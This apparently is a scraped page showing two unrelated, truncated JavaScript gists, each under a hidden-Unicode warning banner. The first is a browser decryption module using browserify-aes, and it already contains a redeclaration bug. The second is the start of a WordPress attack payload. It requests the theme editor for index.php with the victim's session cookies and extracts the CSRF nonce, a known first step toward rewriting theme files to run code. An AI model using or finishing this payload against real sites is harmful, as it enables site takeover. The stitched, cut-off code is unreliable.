This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import crypto from 'browserify-aes' | |
/********************************************************************** | |
* | |
* DECRYPTION MODULE FOR USE IN BROWSER DURING RUNTIME * | |
* | |
***********************************************************************/ | |
const decrypt = hash => { | |
const hash = hash.data | |
//get IV from input, make sure its no longer than 16 bytes |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var wpnonce = ''; | |
function getCSRFNonce(callback) | |
{ | |
var re = /<input type="hidden" id="_wpnonce" name="_wpnonce" value="(\w*)" \/>/ | |
var xhr = new XMLHttpRequest(); | |
xhr.open("GET", "http://mywordpress.com/wordpress/wordpress-475/wp-admin/theme-editor.php?file=index.php&theme=twentyseventeen", true); | |
xhr.withCredentials = true; | |
xhr.overrideMimeType('text/xml'); |